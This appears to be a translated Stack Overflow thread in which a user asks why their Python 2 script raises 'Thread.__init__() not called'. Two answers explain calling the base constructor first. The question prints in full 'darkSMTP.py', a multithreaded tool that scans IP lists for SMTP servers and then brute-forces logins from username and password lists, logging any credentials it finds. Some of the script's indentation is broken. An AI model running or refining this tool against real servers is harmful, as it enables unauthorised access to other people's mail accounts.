Python:断言错误,"未调用"

时间:2015-09-27 22:21:06

标签: python multithreading smtp

我发现使用该程序很难解决以下错误,我非常感谢一些输入。

该程序的目标是执行SMTP扫描。用户输入目标IP地址,用户名,密码和要分配给扫描过程的线程数。

Traceback (most recent call last):
 File "/home/user/Desktop/darkSMTP.py", line 133, in <module>
    thread = myThread(i, "Thread " + str(i), i);    
  File "/home/user/Desktop/darkSMTP.py", line 100, in __init__
    self.name = name
  File "/usr/lib/python2.6/threading.py", line 669, in name
    assert self.__initialized, "Thread.__init__() not called"
AssertionError: Thread.__init__() not called

代码如下:

import threading, time, random, sys, smtplib, socket
from smtplib import SMTP
from copy import copy
from optparse import OptionParser 

usage= "./%prog -i <iplist> -t <threads> -u <userlist> -p <passlist>" 
usage = usage+"\nExample: ./%prog -i ips.txt -t 8 -u user.txt -p pass.txt" 
parser = OptionParser(usage=usage) 
parser.add_option("-i", 
                  action="store", dest="ips", 
                  help="IP list for scanning") 
parser.add_option("-t", type="int", 
                  action="store", dest="threads", 
                  help="Threads for processing") 
parser.add_option("-u",
                  action="store", dest="users",
                  help="List of usernames")
parser.add_option("-p",
                  action="store", dest="passes",
                  help="List of passwords")
(options, args) = parser.parse_args() 

def timer():
        now = time.localtime(time.time())
        return time.asctime(now)

if len(sys.argv) != 9: 
    parser.print_help() 
    sys.exit(1) 

i = 1
port = 25
threads = options.threads
file = options.ips
users = options.users
passes = options.passes
completed = []
threaders = []
logger = open('darkSMTP.txt','w')
ipfile = open(file,'r')
print "[+] Warming up...ok";
lines = ipfile.readlines()
print "[+] IP's loaded:",len(lines);
print "[+] Users loaded:",len(users)
print "[+] Passwords loaded:",len(passes)
ipfile.close();
eachThread = len(lines) / int(threads);
print "[+] IP's per thread:",eachThread;

class myThread (threading.Thread):
    def __init__(self, threadID, name, counter):
        self.threadID = threadID
        self.name = name
        self.counter = counter
        threading.Thread.__init__(self)
    def run(self):
        print "[+] Starting " + self.name
        connect(self.name, self.counter, eachThread, self.threadID)

def connect(threadName, delay, counter, threadID):
    start = threadID * counter
        file = open(options.ips,'r')
        data = file.readlines()
    while counter:
        if 0:
                thread.exit()
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.settimeout(2)
        try:
                    connect=s.connect((data[start-counter],port))
                print "[+] SMTP server on: " + data[start-counter],
            print "[+] Server added to output file!" 
            logger.write(data[start-counter])
            if s.recv(1024):
                completed.append(data[start-counter].rstrip())
        except socket.timeout:  
            print "[-] Server non-existant: " + data[start-counter].rstrip()
            except socket.error:
                    print "[+] Server exists! " + data[start-counter].rstrip();
            print "[-] But it's not SMTP"
            s.close()
        time.sleep(delay)
        counter -= 1

while (i < int(threads + 1)):
    thread = myThread(i, "Thread " + str(i), i);    
    threaders.append(thread)
    i += 1
    thread.start()

for t in threaders:
    t.join()

print "\n--- Found & logged all SMTP servers in range ---\n"
print "---------------------------------------------------"
print "[+] Starting dictionary attack for each SMTP server"
print "---------------------------------------------------\n"

try:    
    helo = smtplib.SMTP(sys.argv[1])
    name = helo.helo()
    helo.quit()
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
    name = "[-] Server doesn't support the Helo cmd"

try:
    users = open(users, "r").readlines()
except(IOError): 
    print "Error: Check your userlist path\n"
    sys.exit(1)

try:
    words = open(passes, "r").readlines()
except(IOError): 
    print "Error: Check your wordlist path\n"
    sys.exit(1)

wordlist = copy(words)
def reloader():
    for word in wordlist:
        words.append(word)

def getword():
    lock = threading.Lock()
    lock.acquire()
    if len(words) != 0:
        value = random.sample(words,  1)
        words.remove(value[0])
    else:
        reloader()
        value = random.sample(words,  1)
        words.remove(value[0])
        users.remove(users[0])
    lock.release()
    return value[0][:-1], users[0][:-1]

class Worker(threading.Thread):
    def __init__(self):
            threading.Thread.__init__(self)
    def run(self):
        value, user = getword()
        for ip in completed:
            print "-"*12
            print "[+] IP: "+ip
            try:
                print "User:",user,"Password:",value
                smtp = smtplib.SMTP(ip)
                smtp.login(user, value)
                print "\t\n[!] Login successful:",user, value
                logger.write("[!] Found: " + ip + " " + str(user) + ":" + str(value) + "\n")
                smtp.quit()
                sys.exit(2)
            except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
                pass

for i in range(len(words)*len(users)):
    work = Worker()
    work.start()
    threaders.append(work)
    time.sleep(1)

for t in threaders:
    t.join()

logger.close()

由于

2 个答案:

答案 0 :(得分:9)

myThread类的构造函数必须是:

class myThread (threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self, name=name)
        self.threadID = threadID
        self.name = name
        self.counter = counter
    def run(self):
        print("[+] Starting " + self.name)
        connect(self.name, self.counter, eachThread, self.threadID)

请在threading.Thread.__init__(self, name=name)之后__init__注意。在尝试设置名称之前,必须调用基类的构造函数。

答案 1 :(得分:3)

在尝试设置名称之前,您必须致电__init__()。 Thread.name是一个属性,而不是通常的属性,它的setter检查该对象是否已经初始化。此外,您不需要手动分配名称,因为Threading.__init__已经有名称参数。所以:

class myThread(threading.Thread):
   def __init__(self, threadID, name, counter):
       super(myThread, self).__init__(name=name)
       self.threadID = threadID
       self.counter = counter
   #...